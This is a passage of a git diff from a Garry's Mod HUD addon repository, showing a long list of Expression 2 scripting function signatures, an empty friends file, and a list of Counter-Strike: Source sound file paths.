+dsSend(sss) +shift(xv2) +matrix2(m) +maxVec(xv4xv4) +rangerOffsetHull(vvvv) +op:sub(nv) +changed(v) +dsSend(ssxv2) +holoScale(nv) +op:idx(xm2=xwls) +clamp(xv4xv4xv4) +dsSendDirect(sexm2) +op:idx(s=xgtss) +select(na...) +round(xv2n) +op:idx(xwl=tsxwl) +soundPlay(e:nnsn) +op:sub(nn) +mod(xv2n) +writeString(xwl:snn) +op:add(xm4xm4) +op:add(qc) +length(xv2:) +dot(xv4:xv4) +op:idx(xrd=xgtn) +log(nn) +setAlpha(e:n) +det(xm2) +holoClip(nnvvn) +setRow(xm4:nxv4) +dsSendDirect(sea) +vector2(r:n) +distance2(v:v) +op:idx(s=xwls) +op:idx(xv2=rnxv2) +op:idx(v=rnv) +setColumn(xm4:nxv4) +isConstrainedTo(e:s) +op:idx(xv4=rnxv4) +insertVector4(r:nxv4) +op:idx(xm4=xwls) +dsSend(ssr) +signalClk(s) +dsSend(ssne) +exp(n) +min(xv2xv2) +op:is(r) +op:div(nxv2) +glonDecode(s) +removeString(xgt:s) +op:is(xv2) +toUnit(sn) +setRow(xm2:nnn) +setTrails(e:nnnsvn) +signalSender() +holoDelete(n) +bNot(n) +lastSaid(e:) +sechr(n) +teamDeaths(n:) +runOnTick(n) +matrix4() +coth(c) +op:dat() +trace(m) +ejectPod(e:) +op:ass(c) +op:add(mm) +op:div(xm4n) +toString(v) +shiftR(a) +soundPlay(e:nns) +rangerAngleHull(nnnvv) +explode(s:s) +positive(xv4) +toWorld(b:v) +op:idx(xm2=xgtsxm2) +abs(c) +op:add(as) +count(t:) +dsSendDirect(sec) +dsSetScope(n) +op:and(nn) +npcFace(e:v) +op:neg(c) +removeTable(xgt:s) +op:idx(xm2=xgtn) +csch(n) +matrix(q) +dsSend(ssnt) +findClipToRegion(vv) +removeEntity(xgt:s) +isDedicated() +boxMin(e:) +setMatrix2(t:sxm2) +op:idx(b=xgtnb) +dsSend(ssns) +steamID(e:) +isWeapon(e:) +runOnLast(n) +dsSend(ssa) +vec4(xv2xv2) +findPlayerUpdateRate() +column(xm4:n) +op:idx(xv2=ts) +findDisallowEntity(e) +vec4(xv2) +teamColor(n) +setW(xv4:n) +mod(nn) +op:idx(r=xgts) +log(cc) +findClearBlackEntityList() +op:mul(xv2xv2) +op:mul(na) +dsSendDirect(srxm4) +popComplex(r:) +op:idx(m=xwlsm) +setArray(xwl:sr) +tickClk() +op:ass(xv4) +setEntity(xwl:se) +op:gth(nn) +dsGetGroup() +toRad(n) +pushEntity(r:e) +dsGetSender() +op:add(vv) +vector2(t:s) +rangerIgnoreWorld(n) +op:idx(xwl=xgtn) +op:dlt(xm2) +swapElements(xm4:nnnn) +vec(xv2n) +rangerFilter(e) +gamemode() +setRow(m:nv) +op:idx(b=xwlsb) +matrix4(xv4xv4xv4xv4) +mass(e:) +holoCreate(nvvav) +op:div(nn) +complex(t:s) +isPlayer(e:) +holoParent(ne) +setColumn(xm2:nnn) +setRow(m:nnnn) +findDisallowPlayer(e) +op:neq(xv2xv2) +randvec(nn) +getConstraints(e:) +dsGetTable() +dsGetScope() +dsGetGroups() +signalSendDirect(se) +rgb2hsv(v) +ceil(an) +op:idx(xm2=xgtnxm2) +setMatrix2(r:nxm2) +quaternion(xwl:s) +fileAppend(ss) +runOnList(n) +pushString(r:s) +mix(aan) +op:idx(c=xgtn) +teamName(n:) +getAlpha(e:) +dsSend(sst) +findDisallowClass(s) +changed(xm4) +op:neq(nc) +popMatrix(r:) +getSkin(e:) +op:eq(xv2xv2) +pos(b:) +toString(a) +length2(v:) +boxMax(e:) +op:idx(c=tsc) +bone(xrd:) +signalSend(sn) +maxOfType(s) +dsSendDirect(sexv2) +select(ne...) +op:neq(ee) +teamScore(n:) +writeString(xwl:snnvvn) +vec(xv4) +isSinglePlayer() +soundPlay(nns) +dsGetMatrix2() +gSetAng(sa) +round(n) +setX(xv2:n) +op:sub(xv2xv2) +op:idx(q=xgts) +op:idx(xv4=tsxv4) +array(xwl:s) +op:eq(xm4xm4) +up(e:) +toString(c) +ceil(xv2) +op:idx(xwl=xgts) +mix(xv2xv2n) +select(nr...) +setVector(xwl:sv) +min(xv4xv4) +op:dlt(a) +bXor(nn) +setRow(xm4:nnnnn) +cot(n) +op:add(sv) +op:dec(n) +matrix4(e) +width(e:) +findExcludePlayer(e) +rgb2digi(vn) +floor(xv2) +angVelVector(b:) +soundPlay(e:snsn) +op:eq(mm) +soundDuration(s) +op:idx(s=xwlns) +writeString(xwl:snnv) +holoPos(nv) +interval(n) +matchFirst(s:sn) +findIncludePlayerProps(e) +op:mul(mv) +insertVector2(r:nxv2) +comp() +applyForce(v) +round(a) +op:idx(q=tsq) +sqrt(c) +op:mul(xv4n) +readString(xwl:n) +op:eq(nn) +select(nq...) +npcGoRun(e:v) +dsSendDirect(seq) +hasConstraints(e:) +op:idx(a=xgtna) +gRemoveAllNumbers() +matrix2(xwl:s) +op:eq(vv) +curtime() +writeString(xwl:ns) +shiftString(r:) +teamPlayers(n:) +soundPlay(snsn) +op:sub(xv4xv4) +op:mul(mn) +toWorld(e:v) +dsSendDirect(sev) +sqrt(n) +pushMatrix4(r:xm4) +op:idx(xwln) +deaths(e:) +toNumber(s:) +string(r:n) +op:sub(xm4xm4) +op:sub(cn) +distance(xv4:xv4) +clk(s) +printDriver(e:s) +rangerHitWater(n) +op:idx(n=xgtsn) +signalSetGroup(s) +setMass(b:n) +z(xv4:) +log(c) +glonEncode(t) +isConstrainedTo(e:n) +findIncludeEntity(e) +log10(c) +signalGroup() +op:is(c) +dsSend(ssnxwl) +csc(c) +writeString(xwl:snnnvn) +op:geq(nn) +chatClk() +up(q:) +op:idx(xv4=xgtn) +unshiftVector2(r:xv2) +setX(v:n) +setMaterial(e:s) +findCanQuery() +max(xv4xv4) +op:idx(c=xwlsc) +floor(nn) +forward(e:) +convar(s) +trimLeft(s:) +op:mul(vn) +shiftEntity(r:) +acosr(n) +mass(b:) +toLocal(e:a) +gDeleteAllStr() +numPlayers() +npcAttack(e:) +op:ass(n) +toByte(sn) +keyUse(e:) +massCenterL(e:) +select(nt...) +findClearBlackPlayerPropList() +print(ns) +aimBone(e:) +changed(b) +inverseA(xm4) +op:idx(m=rnm) +lastSpoke() +log(nc) +matrix() +shiftL(xv4) +setEntity(r:ne) +findAllowClass(s) +op:add(ss) +op:idx(xrd=ts) +dsSendDirect(ser) +hintDriver(e:sn) +op:neq(xwlxwl) +match(s:s) +entity(xwl:) +pos(e:) +op:def(n) +toString(q) +sech(c) +match(s:sn) +op:idx(n=ts) +writeString(xwl:snnvnn) +swapColumns(xm2:) +op:exp(xm2n) +changed(xm2) +number(t:s) +op:neg(q) +findIncludePlayer(s) +op:sub(vn) +minVec(xv4xv4) +right(q:) +op:eq(cn) +asinr(n) +qMod(q) +op:idx(xwl=xwlsxwl) +mod(vv) +matrix4(t:s) +setGtable(xwl:sxgt) +length2(xv2:) +maxIndex(r:) +log10(n) +pushBone(r:b) +op:idx(s=tss) +changed(n) +op:neq(mm) +conj(q) +entity() +op:idx(xm2=ts) +op:neq(qq) +op:idx(a=xwlsa) +op:ass(xwl) +hasOutput(xwl:s) +op:cnd(n) +matchFirst(s:s) +signalClearOnRemove() +dsLeaveGroup(s) +toString(xv2:) +op:sub(aa) +op:idx(xv4n) +isPlayerHolding(e:) +keyAttack2(e:) +clamp(xv2xv2xv2) +getSkinCount(e:) +toString(a:) +op:ass(q) +soundPlay(e:sns) +trimRight(s:) +dsGetMatrix4() +ceil(v) +findExcludePlayerProps(e) +popEntity(r:) +matrix(vvv) +op:ass(r) +op:idx(n=tsn) +shiftMatrix4(r:) +qk(n) +pushVector4(r:xv4) +holoCanCreate() +setDiagonal(xm4:nnnn) +shootPos(e:) +tan(c) +fileList() +toString(xv4:) +e() +shiftL(v) +floor(xv2n) +gGetEnt(s) +i() +op:idx(s=xgts) +op:idx(vn) +lastSaidTeam(e:) +rotate(xv2:n) +setAngle(t:sa) +op:sub(xm2xm2) +quat(vv) +signalGetGroup() +arg(c) +signalClk() +timeConnected(e:) +setRanger(xwl:sxrd) +quat(n) +bNot(nn) +setColor(e:vn) +op:eq(ss) +removeComplex(xgt:s) +first() +signalName() +findIncludeEntities(r) +repeat(s:n) +op:idx(b=tsb) +findClipToClass(s) +unshiftMatrix2(r:xm2) +y(xm4:) +matrix4(r:n) +op:idx(xm2=rnxm2) +z(xm4:) +op:div(cn) +setString(xwl:ss) +vector4(r:n) +insertAngle(r:na) +signalSetOnRemove(sn) +gRemoveAllRangers() +clk() +op:eq(aa) +weapon(e:s) +atanr(nn) +real(c) +conj(c) +setNumber(r:nn) +op:div(nxv4) +op:idx(q=xgtn) +dsSend(ssnq) +setMatrix4(t:sxm4) +removeVector4(r:n) +findClipToModel(s) +setWirelink(xwl:sxwl) +dsSendDirect(sexv4) +i(n) +dot(v:v) +gGetStr(s) +mod(xv2xv2) +op:sub(nc) +op:idx(xm4=xgtsxm4) +comp(nn) +atan(nn) +bearing(e:v) +comp(n) +op:idx(m=rn) +heading(b:v) +printColorDriver(e:...) +findAllowModel(s) +toString(q:) +bones(e:) +op:idx(e=xwls) +floor(a) +op:idx(xv4=ts) +unshiftMatrix(r:m) +op:mul(qc) +swapRows(m:nn) +op:div(cc) +boneCount(e:) +steamFriends(e:) +setString(t:ss) +exp(c) +setX(xv4:n) +dsClk(s) +holoModel(nsn) +applyOffsetForce(b:vv) +inNoclip(e:) +op:cnt() +writeString(xwl:snnnn) +op:add(nn) +det(m) +gSetNum(nn) +changed(xwl) +findInSphere(vn) +op:brk() +getMaterial(e:) +rangerDefaultZero(n) +swapColumns(m:nn) +popAngle(r:) +ceil(xv2n) +toWorld(e:a) +op:mul(nxm4) +vel(b:) +array(...) +op:sub(cc) +max(r:) +fileLoadList() +floor(vn) +op:idx(xv4=rn) +angVel(b:) +cschr(n) +quat(v) +op:iwc() +printColorDriver(e:r) +op:mul(xm4xm4) +clamp(aaa) +npcDisp(e:e) +velL(e:) +gRemoveAllWirelinks() +secondaryAmmoType(e:) +forward(b:) +runOnFile(n) +toAngle(q:) +bearing(b:v) +dsSendDirect(sem) +asin(n) +op:mul(nxv2) +element(m:nn) +gRemoveAllBones() +outputType(xwl:s) +fileWrite(ss) +op:idx(v=xwlsv) +op:geq(aa) +matrix4(xwl:s) +ceil(nn) +holoParent(nb) +rotationAngle(q) +op:mul(an) +op:add(vn) +massCenterL(b:) +up(b:) +holoModel(ns) +op:idx(xm4=xwlsxm4) +op:exp(xm4n) +vector4(xwl:s) +findClearWhiteModelList() +wrap(nn) +holoAlpha(nn) +signalClk(sn) +findClipToName(s) +select(nxv2...) +dot(xv2:xv2) +op:idx(xv2=xgtnxv2) +op:mul(nc) +clamp(vnn) +gDeleteVec(s) +op:dlt(xm4) +name(e:) +holoClipEnabled(nnn) +max(nn) +yaw(a:) +primaryAmmoType(e:) +randint(nn) +holoClipsAvailable() +gRemoveAll() +column(m:n) +toLocalAxis(e:v) +op:is(xwl) +stoptimer(s) +holoScaleUnits(n) +setNumber(xwl:sn) +lockPod(e:n) +quat(e) +op:idx(xv2=tsxv2) +gtable(t:s) +string(t:s) +isCrouch(e:) +isUnderWater(e:) +changed() +shiftMatrix(r:) +op:ass(v) +op:lth(aa) +distance(xv2:xv2) +holoScaleUnits(nv) +applyAngForce(b:a) +setElement(xm4:nnn) +holoRemainingSpawns() +vec() +nobone() +op:div(nv) +isWeldedTo(e:) +op:ass(t) +toString(n:n) +op:idx(a=xgtn) +driver(e:) +op:mul(nxv4) +isHiSpeed(xwl:) +abs(n) +op:idx(xwl=xwls) +setBone(r:nb) +ceil(xv4) +holoCreate(nvvavs) +k(q:) +op:idx(m=xgtn) +realtime() +op:sub(nq) +removeBone(r:n) +toString(nn) +dsGetMatrix() +keys(t:) +root(nn) +findExcludeEntity(e) +setString(r:ns) +matrix4(nnnnnnnnnnnnnnnn) +j(q:) +op:idx(xm2=tsxm2) +lower(s:) +op:add(sn) +gDeleteNum(s) +maxVec(vv) +diagonal(xm4) +max(xv2xv2) +vec2(v) +unshiftBone(r:b) +op:dlt(xv4) +shiftBone(r:) +op:is(t) +invert(r) +clear(t:) +vec4(vn) +popMatrix2(r:) +glonEncode(r) +tanh(n) +changed(xv4) +normalized(v:) +signalClk(ss) +ranger(t:s) +dsSend(ssnv) +op:div(qn) +i(q:) +atan(n) +glonDecodeTable(s) +gDeleteAllAng() +op:idx(r=xgtsr) +cothr(n) +op:idx(a=ts) +round(xv2) +holoDeleteAll() +isOnGround(e:) +applyTorque(b:v) +mix(xv4xv4n) +op:neq(ss) +op:idx(e=xgtn) +teamFrags(n:) +dsSendDirect(ses) +findAllowEntity(e) +findExcludePlayerProps(s) +sinr(n) +inv(q) +op:idx(s=ts) +inertia(b:) +cross(v:v) +cosh(c) +rotate(v:nnn) +gSetGroup(s) +gGetVec(n) +holoColor(nvn) +op:idx(t=xgtnt) +gSetEnt(ne) +op:mul(xm2n) +op:div(nc) +op:idx(c=xgtsc) +dsSend(ssxv4) +gRemoveAllStrings() +op:idx(xrd=xwlsxrd) +randvec(vv) +holoParentAttachment(nes) +op:dlt(v) +holoEntity(n) +rgb2digi(nnnn) +toString(c:) +op:idx(c=xwls) +fileLoaded(s) +removeAngle(xgt:s) +gTable(s) +shiftVector4(r:) +op:idx(xv2n) +gSetEnt(se) +op:sub(qc) +vec2(nn) +dsSend(ssb) +log(q) +dsSend(ssm) +dehomogenized(xv4:) +op:eq(cc) +op:add(cc) +number(r:n) +op:idx(s=rn) +bone(r:n) +gSetStr(ns) +op:idx(t=xgts) +findAllowPlayerProps(e) +op:neg(m) +rangerOffset(vv) +setComplex(t:sc) +removeMatrix2(xgt:s) +findSortByDistance(v) +unshiftNumber(r:n) +select(ns...) +ranger(xwl:s) +frags(e:) +reverse(s:) +setXyz(xwl:v) +setQuaternion(t:sq) +signalSendToPlayer(se) +cos(c) +setBone(t:sb) +cot(c) +rangerReset() +op:mul(xm2xv2) +op:idx(a=xgts) +min(nnnn) +bAnd(nn) +op:mul(qn) +op:idx(a=xgtsa) +entity(xwl:s) +op:idx(n=xgts) +quat(c) +op:mul(mm) +op:idx(n=rnn) +npcRelationship(e:ssn) +op:is(xm4) +qi() +op:idx(m=xwls) +popVector(r:) +op:idx(m=xgtnm) +x(xm4:) +op:idx(xm4=xgtnxm4) +op:idx(b=xgtn) +op:add(nq) +setY(xv4:n) +findClearWhiteClassList() +attachmentPos(e:s) +op:mul(vq) +quat(a) +exit() +length(s:) +angVel(e:) +npcGiveWeapon(e:) +gDeleteStr(n) +op:div(cq) +dsGetComplex() +gGetGroup() +min(r:) +roll(a:) +op:idx(xrd=xgtnxrd) +right(b:) +holoCreate(n) +findByClass(s) +exp(q) +gGetEnt(n) +op:idx(an) +inrange(aaa) +frac(n) +popVector4(r:) +holoSkin(nn) +dsSendDirect(srn) +gRemoveAllEntitys() +max(nnn) +qk() +op:idx(m=tsm) +print(...) +dsSendDirect(srxv4) +vector(t:s) +concat(r:) +random(n) +op:mul(vv) +op:div(qq) +setColor(nnn) +op:neg(xm4) +dsGetWirelink() +position(xrd:) +applyAngForce(a) +aimNormal(e:) +owner() +op:idx(r=xgtnr) +fileLoad(s) +op:neq(bb) +dsSendDirect(sexrd) +gGetNum(n) +rangerOffset(nvv) +teamScore(n) +fileRead(s) +writeString(xwl:snnvn) +op:eq(xwlxwl) +op:div(qc) +op:eq(nc) +setColor(e:v) +op:idx(xm4=xgtn) +gRemoveAllTables() +op:idx(xrd=tsxrd) +unshiftEntity(r:e) +toLocal(b:v) +op:sub(qq) +randint(n) +round(xv4n) +dsProbe(sn) +changed(e) +gDeleteAllVec() +applyOffsetTorque(e:vv) +op:idx(e=xwlse) +op:sub(mm) +op:add(xm2xm2) +signalSenderId() +op:idx(xwlnn) +op:idx(a=rn) +perf() +setMatrix2(xwl:sxm2) +inputs(xwl:) +dsSend(ssnm) +insertMatrix4(r:nxm4) +findExcludeModel(s) +setMatrix(xwl:sm) +op:mod(nn) +last() +vec4() +op:idx(xv4=xgts) +op:eq(ee) +aimPos(e:) +printTable(t) +op:idx(c=xgts) +dsSend(ssna) +op:eq(xm2xm2) +sum(r:) +vec(q) +op:idx(n=xgtnn) +dsGetVector4() +dsGetType() +op:eq(bb) +dsGetRanger() +removeMatrix2(r:n) +pitch(a:) +setVector2(xwl:sxv2) +setZ(xv4:n) +insertString(r:ns) +select(nm...) +quat() +soundPlay(nnsn) +gDeleteStr(s) +op:idx(xv4=xwlsxv4) +eye(e:) +count(r:) +forward(q:) +identity() +op:idx(c=ts) +op:neq(vv) +matrix2(r:n) +findAllowPlayer(s) +dsSendDirect(sra) +findAllowEntities(r) +op:mul(qq) +select(nc...) +changed(m) +op:idx(b=xgtsb) +op:idx(s=xwln) +rangerOffsetHull(vvv) +op:idx(v=xwls) +removeQuaternion(xgt:s) +holoUnparent(n) +op:div(an) +getColor(e:) +gDeleteNum(n) +eyeTrace(e:) +toDeg(n) +removeBone(xgt:s) +right(a:) +op:idx(v=rn) +mod(aa) +holoCreate(nvva) +select(nxm4...) +shiftVector2(r:) +gDeleteAng(s) +angles(b:) +gGetNum(s) +op:eq(xv4xv4) +coth(n) +dsSend(ssxm2) +op:dlt(n) +massCenter(b:) +armor(e:) +maxPlayers() +setDiagonal(xm4:xv4) +changed(s) +x(m:) +y(m:) +z(m:) +gGetAng(n) +holoParent(nn) +printTable(r) +rangerHull(nnnv) +dsSend(ssnxv2) +fileRemove(s) +select(nb...) +atan(c) +dsSend(ssc) +setRoll(a:n) +op:div(nq) +sin(n) +removeVector(xgt:s) +gRemoveAllMatrix4s() +unshiftVector4(r:xv4) +op:idx(xrd=xgts) +bone(e:n) +gDeleteAllNum() +op:idx(xv2=xgtn) +op:ass(xrd) +setY(xv2:n) +op:idx(e=tse) +setVector2(t:sxv2) +gSetVec(sv) +vel(e:) +dsSend(ssxrd) +op:idx(xgt=ts) +writeString(xwl:snnnv) +asin(c) +ang(nnn) +op:idx(q=ts) +mRotation(vn) +changed(q) +dsClkName() +dsGetQuaternion() +qRotation(vn) +select(nxv4...) +op:is(xrd) +string(xwl:s) +op:idx(q=xgtsq) +dsSend(ssxm4) +holoColor(nv) +op:exp(qn) +select(nxrd...) +findExcludeEntities(r) +distance2(xv4:xv4) +number(xwl:s) +boxSize(e:) +op:add(xv2xv2) +holoIndex(e) +dsSendDirect(seb) +angle(xwl:s) +op:is(xm2) +dsSend(ssxwl) +find() +csqrt(n) +fileCanLoad() +toWorldAxis(e:v) +elevation(e:v) +dsSend(ssq) +secr(n) +isSuperAdmin(e:) +vector2(xwl:s) +adj(xm2) +toString(e) +owner(e:) +dsSendDirect(srxv2) +op:idx(xv4=xgtnxv4) +npcGetTarget(e:) +sign(n) +vector(r:n) +dsGetBone() +dehomogenized(v:) +applyTorque(e:v) +dsSendDirect(set) +gRemoveAllAngles() +setVector2(r:nxv2) +applyAngForce(e:a) +mod(xv4xv4) +vec2() +op:idx(xrd=xwls) +writeString(xwl:snnnnn) +attachmentAng(e:s) +op:idx(r=xwlsr) +npcGoWalk(e:v) +op:exp(cn) +adj(m) +setVector(t:sv) +cotr(n) +op:idx(xrd=xgtsxrd) +rangerAngleHull(nnnv) +column(xm2:n) +op:idx(v=tsv) +toChar(n) +popBone(r:) +round(an) +npcStop(e:) +matrix(r:n) +typeids(t:) +gRemoveAllComplexs() +gDeleteAllEnt() +op:neg(v) +op:is(b) +vec4(nnnn) +rangerAngle(nnn) +floor(v) +op:idx(xm4=ts) +holoColor(nxv4) diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/friends.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/friends.txt new file mode 100644 index 0000000..e69de29 diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/css.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/css.txt new file mode 100644 index 0000000..92ec989 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/css.txt @@ -0,0 +1,1169 @@ +ambient/3dmeagle.wav +ambient/guit1.wav +ambient/Opera.wav +ambient/sheep.wav +ambient/tankidle2.wav +ambient/trailer_wndinsidepark_loop.wav +ambient/waterrun.wav +ambient/water_splash1.wav +ambient/water_splash2.wav +ambient/water_splash3.wav +ambient/animal/bird1.wav +ambient/animal/bird10.wav +ambient/animal/bird11.wav +ambient/animal/bird12.wav +ambient/animal/bird13.wav +ambient/animal/bird14.wav +ambient/animal/bird15.wav +ambient/animal/bird16.wav +ambient/animal/bird17.wav +ambient/animal/bird18.wav +ambient/animal/bird19.wav +ambient/animal/bird2.wav +ambient/animal/bird20.wav +ambient/animal/bird3.wav +ambient/animal/bird4.wav +ambient/animal/bird5.wav +ambient/animal/bird6.wav +ambient/animal/bird7.wav +ambient/animal/bird8.wav +ambient/animal/bird9.wav +ambient/animal/bird_flapping_1.wav +ambient/animal/bird_flapping_2.wav +ambient/animal/bird_flapping_3.wav +ambient/animal/cow.wav +ambient/animal/crickets.wav +ambient/animal/cricket_chirp_1.wav +ambient/animal/crow.wav +ambient/animal/crow_1.wav +ambient/animal/crow_2.wav +ambient/animal/dog1.wav +ambient/animal/dog2.wav +ambient/animal/dog3.wav +ambient/animal/dog4.wav +ambient/animal/dog5.wav +ambient/animal/dog6.wav +ambient/animal/dog7.wav +ambient/animal/dog_growl_behind_wall_1.wav +ambient/animal/dog_growl_behind_wall_2.wav +ambient/animal/dog_growl_behind_wall_3.wav +ambient/animal/dog_lick_chops_behind_wall_1.wav +ambient/animal/dog_med_inside_bark_1.wav +ambient/animal/dog_med_inside_bark_2.wav +ambient/animal/dog_med_inside_bark_3.wav +ambient/animal/dog_med_inside_bark_4.wav +ambient/animal/dog_med_inside_bark_5.wav +ambient/animal/dog_med_inside_bark_6.wav +ambient/animal/dog_med_inside_growl_1.wav +ambient/animal/dog_med_inside_growl_2.wav +ambient/animal/dog_med_inside_growl_3.wav +ambient/animal/dog_pant_behind_wall_1.wav +ambient/animal/dog_pant_behind_wall_2.wav +ambient/animal/dog_scratch_behind_wall_1.wav +ambient/animal/flies1.wav +ambient/animal/flies2.wav +ambient/animal/flies3.wav +ambient/animal/flies4.wav +ambient/animal/flies5.wav +ambient/animal/frog_1.wav +ambient/animal/frog_2.wav +ambient/animal/frog_3.wav +ambient/animal/horse_1.wav +ambient/animal/horse_2.wav +ambient/animal/horse_3.wav +ambient/animal/horse_4.wav +ambient/animal/horse_5.wav +ambient/animal/horse_6.wav +ambient/animal/horse_eat_1.wav +ambient/animal/horse_eat_2.wav +ambient/animal/rodent_scratch_1.wav +ambient/animal/rodent_scratch_short_1.wav +ambient/animal/rodent_scratch_short_2.wav +ambient/animal/rodent_scratch_short_3.wav +ambient/animal/snake1.wav +ambient/animal/snake2.wav +ambient/animal/snake3.wav +ambient/atmosphere/factory_loop_1.wav +ambient/atmosphere/garage_tone.wav +ambient/atmosphere/inside_lighthouse_amb.wav +ambient/chatter/arabic_radio1.wav +ambient/chatter/arabic_radio2.wav +ambient/chatter/arabic_radio3.wav +ambient/chatter/arabic_radio4.wav +ambient/chatter/arabic_radio5.wav +ambient/chatter/cb_radio_chatter_1.wav +ambient/chatter/cb_radio_chatter_2.wav +ambient/chatter/cb_radio_chatter_3.wav +ambient/chatter/italian_radio1.wav +ambient/chatter/italian_radio2.wav +ambient/chatter/italian_radio3.wav +ambient/chatter/italian_radio4.wav +ambient/chatter/italian_radio5.wav +ambient/chatter/spanish_radio1.wav +ambient/chatter/spanish_radio2.wav +ambient/chatter/spanish_radio3.wav +ambient/chatter/spanish_radio4.wav +ambient/chatter/spanish_radio5.wav +ambient/machines/60HzHum.wav +ambient/machines/air_conditioner_cycle.wav +ambient/machines/air_conditioner_loop_1.wav +ambient/machines/big_truck.wav +ambient/machines/deep_boil.wav +ambient/machines/diesel_1.wav +ambient/machines/electrical_hum_2.wav +ambient/machines/engine1.wav +ambient/machines/fluorescent_hum_1.wav +ambient/machines/fluorescent_hum_2.wav +ambient/machines/gas_loop_1.wav +ambient/machines/hydraulic_1.wav +ambient/machines/machine2.wav +ambient/machines/pneumatic_drill_1.wav +ambient/machines/pneumatic_drill_2.wav +ambient/machines/pneumatic_drill_3.wav +ambient/machines/pneumatic_drill_4.wav +ambient/machines/power_transformer_loop_1.wav +ambient/machines/power_transformer_loop_2.wav +ambient/machines/pump_loop_1.wav +ambient/machines/refinery_loop_1.wav +ambient/machines/refrigerator.wav +ambient/machines/squeak_1.wav +ambient/machines/squeak_2.wav +ambient/machines/squeak_3.wav +ambient/machines/squeak_4.wav +ambient/machines/squeak_5.wav +ambient/machines/squeak_6.wav +ambient/machines/squeak_7.wav +ambient/machines/squeak_8.wav +ambient/machines/steam_release_1.wav +ambient/machines/steam_release_2.wav +ambient/machines/TickTock.wav +ambient/machines/train_horn_1.wav +ambient/machines/train_horn_2.wav +ambient/machines/train_horn_3.wav +ambient/machines/train_pass_1.wav +ambient/machines/train_pass_2.wav +ambient/machines/train_pass_3.wav +ambient/machines/train_pass_far.wav +ambient/machines/turbine_loop_1.wav +ambient/machines/turbine_loop_2.wav +ambient/machines/zap1.wav +ambient/machines/zap2.wav +ambient/machines/zap3.wav +ambient/misc/ambulance1.wav +ambient/misc/brass_bell_C.wav +ambient/misc/brass_bell_D.wav +ambient/misc/brass_bell_E.wav +ambient/misc/brass_bell_F.wav +ambient/misc/car1.wav +ambient/misc/car2.wav +ambient/misc/carhonk1.wav +ambient/misc/carhonk2.wav +ambient/misc/carhonk3.wav +ambient/misc/clank1.wav +ambient/misc/clank2.wav +ambient/misc/clank3.wav +ambient/misc/clank4.wav +ambient/misc/crane_move1.wav +ambient/misc/creak1.wav +ambient/misc/creak2.wav +ambient/misc/creak3.wav +ambient/misc/creak4.wav +ambient/misc/creak5.wav +ambient/misc/engine1.wav +ambient/misc/equipment_stress1.wav +ambient/misc/equipment_stress2.wav +ambient/misc/equipment_stress3.wav +ambient/misc/flour_light.wav +ambient/misc/flour_light_loud.wav +ambient/misc/flush1.wav +ambient/misc/garbage_truck1.wav +ambient/misc/hammer1.wav +ambient/misc/hammer2.wav +ambient/misc/hammer3.wav +ambient/misc/metal2.wav +ambient/misc/metal3.wav +ambient/misc/metal6.wav +ambient/misc/metal7.wav +ambient/misc/metal8.wav +ambient/misc/metal9.wav +ambient/misc/metal_rattle1.wav +ambient/misc/metal_rattle3.wav +ambient/misc/metal_rattle4.wav +ambient/misc/metal_str1.wav +ambient/misc/metal_str2.wav +ambient/misc/metal_str3.wav +ambient/misc/metal_str4.wav +ambient/misc/metal_str5.wav +ambient/misc/police1.wav +ambient/misc/rock1.wav +ambient/misc/rock2.wav +ambient/misc/rock3.wav +ambient/misc/shutter1.wav +ambient/misc/shutter2.wav +ambient/misc/shutter3.wav +ambient/misc/shutter4.wav +ambient/misc/shutter5.wav +ambient/misc/shutter6.wav +ambient/misc/shutter7.wav +ambient/misc/shutter8.wav +ambient/misc/tink1.wav +ambient/misc/toilet_refill_loop.wav +ambient/misc/truck_backup1.wav +ambient/misc/truck_drive1.wav +ambient/misc/truck_drive2.wav +ambient/misc/wood1.wav +ambient/misc/wood2.wav +ambient/misc/wood3.wav +ambient/misc/wood4.wav +ambient/misc/wood5.wav +ambient/misc/wood6.wav +ambient/music/bongo.wav +ambient/music/country_rock_am_radio_loop.wav +ambient/music/cubanmusic1.wav +ambient/music/dustmusic1.wav +ambient/music/dustmusic2.wav +ambient/music/dustmusic3.wav +ambient/music/flamenco.wav +ambient/music/latin.wav +ambient/music/mirame_radio_thru_wall.wav +ambient/music/piano1.wav +ambient/music/piano2.wav +ambient/nature/Waterfall_MediumLoop05.wav +ambient/nature/water_gently_lapping.wav +ambient/nature/Water_StreamLoop3.wav +ambient/nature/wind_leaves_mild_gust_1.wav +ambient/nature/woodland_ambient_1.wav +ambient/nature/fire/fire_small1.wav +ambient/office/button1.wav +ambient/office/coinslot1.wav +ambient/office/lever6.wav +ambient/office/OfficeNews.wav +ambient/office/zap1.wav +ambient/overhead/hel1.wav +ambient/overhead/hel2.wav +ambient/overhead/plane1.wav +ambient/overhead/plane2.wav +ambient/overhead/plane3.wav +ambient/tones/elev1.wav +ambient/tones/elev2.wav +ambient/tones/elev3.wav +ambient/tones/elev4.wav +ambient/tones/equip1.wav +ambient/tones/equip2.wav +ambient/tones/equip3.wav +ambient/tones/equip4.wav +ambient/tones/equip5.wav +ambient/tones/fan1.wav +ambient/tones/fan2_loop.wav +ambient/tones/floor1.wav +ambient/tones/floor2.wav +ambient/tones/floor3.wav +ambient/tones/garage.wav +ambient/tones/industrial1_loop.wav +ambient/tones/industrial2_loop.wav +ambient/tones/industrial3_loop.wav +ambient/tones/lab_loop1.wav +ambient/tones/pipes.wav +ambient/tones/pipes2.wav +ambient/tones/projector.wav +ambient/tones/roomtone1.wav +ambient/tones/roomtone2.wav +ambient/tones/roomtone3.wav +ambient/tones/steam_loop1.wav +ambient/tones/tunnel_wind_loop.wav +ambient/tones/under1.wav +ambient/tones/under2.wav +ambient/weather/drip1.wav +ambient/weather/drip2.wav +ambient/weather/drip3.wav +ambient/weather/drip4.wav +ambient/weather/drip_loop1.wav +ambient/weather/lake_water.wav +ambient/weather/rain_drip1.wav +ambient/weather/rain_drip2.wav +ambient/weather/rain_drip3.wav +ambient/weather/rain_drip4.wav +ambient/weather/rain_drip5.wav +ambient/weather/rumble_rain.wav +ambient/weather/rumble_rain_nowind.wav +ambient/weather/thunder1.wav +ambient/weather/thunder2.wav +ambient/weather/thunder3.wav +ambient/weather/thunder4.wav +ambient/weather/thunder5.wav +ambient/weather/thunder6.wav +ambient/weather/water_run1.wav 